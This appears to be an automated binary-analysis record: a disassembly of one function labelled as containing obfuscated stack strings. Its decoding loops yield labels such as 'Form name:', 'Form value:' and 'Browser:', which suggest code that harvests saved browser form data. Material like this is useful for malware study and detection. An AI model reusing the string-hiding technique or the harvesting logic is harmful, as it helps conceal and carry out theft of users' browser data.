Function at 0x4116b6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x2a0
mov eax, 0x41ae68
call fcn.0041974f
mov esi, ecx
mov dword [ebp - 0xf4], esi
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2ac]
call fcn.0040380e
sub esp, 0x18
add esi, 0xa8
mov ecx, esp
push esi
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x411714
cmp dword [esi + 0x14], 0xf
jbe 0x411700
mov esi, dword [esi]
mov edx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x2ac]
push esi
call fcn.004064a5
call eax
push 0x48
call fcn.00418960
mov esi, eax
mov dword [ebp - 0x100], esi
sub esp, 0x14
xor edx, edx
mov ecx, esp
mov dword [ebp - 4], edx
mov edi, ecx
mov dword [ebp - 0x104], esp
xor eax, eax
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], edi
mov byte [ecx], dl
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push ebx
call fcn.0040476b
lea eax, [ebp - 0xf9]
mov byte [ebp - 4], 0
push eax
mov ecx, esi
call fcn.00404b21
or dword [ebp - 4], 0xffffffff
mov esi, eax
cmp byte [ebp - 0xf9], 0
je 0x411bcf
movaps xmm0, xmmword [0x402640]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x41179b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, edi
jb 0x41178b
sub esp, 0x18
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, esi
call fcn.0040bd5c
test al, al
je 0x411bcf
xor eax, eax
lea edi, [ebp - 0x60]
stosd dword es:[edi], eax
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], dl
mov dword [ebp - 4], 2
mov ecx, edx
movaps xmm0, xmmword [0x402600]
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x7b
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x411807
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4117f7
mov byte [ebp - 0x13], dl
lea eax, [ebp - 0x23]
mov edx, dword [ebp - 0xf4]
lea ecx, [ebp - 0xd8]
push eax
add edx, 0x90
call fcn.00409d3e
sub esp, 0x14
mov byte [ebp - 4], 3
mov ecx, esp
push ebx
call fcn.0040476b
mov ebx, dword [ebp - 0xf4]
lea eax, [ebp - 0xc0]
push eax
mov ecx, ebx
call fcn.00410466
mov byte [ebp - 4], 4
xor edi, edi
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x104], edi
mov dword [ebp - 0x100], eax
test eax, eax
jle 0x411b59
push 2
push edi
lea eax, [ebp - 0xa8]
mov ecx, esi
push eax
call fcn.0040c074
mov byte [ebp - 4], 5
cmp dword [ebp - 0x98], 0
je 0x411b37
cmp dword [ebp - 0x98], 0x5a
jae 0x411b37
push 1
push edi
lea eax, [ebp - 0x90]
mov ecx, esi
push eax
call fcn.0040c074
mov edi, eax
mov byte [ebp - 4], 6
mov dl, 0x66
mov dword [ebp - 0x48], 0x78754c66
xor ecx, ecx
mov dword [ebp - 0x44], 0x67742673
mov dword [ebp - 0x40], 0x26406b73
mov byte [ebp - 0x3c], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x4118ea
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0xb
jae 0x4118f9
mov dl, byte [ebp - 0x48]
jmp 0x4118db
push edi
lea edx, [ebp - 0x47]
mov byte [ebp - 0x3c], 0
lea ecx, [ebp - 0x78]
call fcn.00409d8f
pop ecx
mov edi, eax
mov byte [ebp - 4], 7
mov dl, 0x57
mov dword [ebp - 0xf8], 0x111457
xor ecx, ecx
movsx eax, dl
and eax, 0x8000000f
jns 0x41192d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xf7], al
inc ecx
cmp ecx, 2
jae 0x411942
mov dl, byte [ebp - 0xf8]
jmp 0x41191e
lea eax, [ebp - 0xf7]
mov byte [ebp - 0xf5], 0
push eax
mov edx, edi
lea ecx, [ebp - 0xf0]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 8
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x41196c
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404849
lea ecx, [ebp - 0xf0]
call fcn.0040357e
lea ecx, [ebp - 0x78]
call fcn.0040357e
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 5
call fcn.0040357e
mov al, 0x41
mov dword [ebp - 0x20], 0x73704741
mov dword [ebp - 0x1c], 0x6277216e
xor ecx, ecx
mov dword [ebp - 0x18], 0x3b66766d
mov word [ebp - 0x14], 0x21
movsx eax, al
and eax, 0x8000000f
jns 0x4119c8
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xc
jae 0x4119d7
mov al, byte [ebp - 0x20]
jmp 0x4119b9
lea eax, [ebp - 0xa8]
mov byte [ebp - 0x13], 0
push eax
lea edx, [ebp - 0x1f]
lea ecx, [ebp - 0x78]
call fcn.00413504
pop ecx
mov edi, eax
mov byte [ebp - 4], 9
mov dl, 0x10
mov dword [ebp - 0xf4], 0xa0d10
xor ecx, ecx
movsx eax, dl
and eax, 0x8000000f
jns 0x411a11
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xf3], al
inc ecx
cmp ecx, 2
jae 0x411a26
mov dl, byte [ebp - 0xf4]
jmp 0x411a02
lea eax, [ebp - 0xf3]
mov byte [ebp - 0xf1], 0
push eax
mov edx, edi
lea ecx, [ebp - 0x90]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0xa
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x411a50
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404849
lea ecx, [ebp - 0x90]
call fcn.0040357e
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 5
call fcn.0040357e
mov al, 0x11
mov dword [ebp - 0x38], 0x70734311
mov dword [ebp - 0x34], 0x73667478
xor ecx, ecx
mov word [ebp - 0x30], 0x213b
mov byte [ebp - 0x2e], 0
movsx eax, al
and eax, 0x8000000f
jns 0x411a9e
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 9
jae 0x411aad
mov al, byte [ebp - 0x38]
jmp 0x411a8f
lea eax, [ebp - 0xc0]
mov byte [ebp - 0x2e], 0
push eax
lea edx, [ebp - 0x37]
lea ecx, [ebp - 0x78]
call fcn.00413504
pop ecx
mov edx, eax
mov byte [ebp - 4], 0xb
mov cl, 0x35
mov dword [ebp - 0x2c], 0x383f3835
xor eax, eax
mov word [ebp - 0x28], 0x3f
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 4
jae 0x411aea
mov cl, byte [ebp - 0x2c]
jmp 0x411adb
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x27], 0
push eax
lea ecx, [ebp - 0x90]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0xc
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x411b0c
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404849
lea ecx, [ebp - 0x90]
call fcn.0040357e
lea ecx, [ebp - 0x78]
call fcn.0040357e
inc dword [ebx + 0xf8]
mov edi, dword [ebp - 0x104]
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 4
call fcn.0040357e
inc edi
mov dword [ebp - 0x104], edi
cmp edi, dword [ebp - 0x100]
jl 0x411878
cmp dword [ebp - 0x50], 0
je 0x411bb1
sub esp, 0xc
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0x1b4]
push eax
call fcn.0041317e
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x164], 0
je 0x411b9a
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x1b4]
call fcn.004136f1
lea ecx, [ebp - 0x1b4]
call fcn.0041312d
lea ecx, [ebp - 0x14c]
call fcn.0041314e
lea ecx, [ebp - 0x14c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xc0]
call fcn.0040357e
lea ecx, [ebp - 0xd8]
call fcn.0040357e
lea ecx, [ebp - 0x60]
call fcn.0040357e
test esi, esi
je 0x411be4
mov ecx, esi
call fcn.00405622
push 0x48
push esi
call fcn.00418990
pop ecx
pop ecx
call fcn.0041970d
ret 4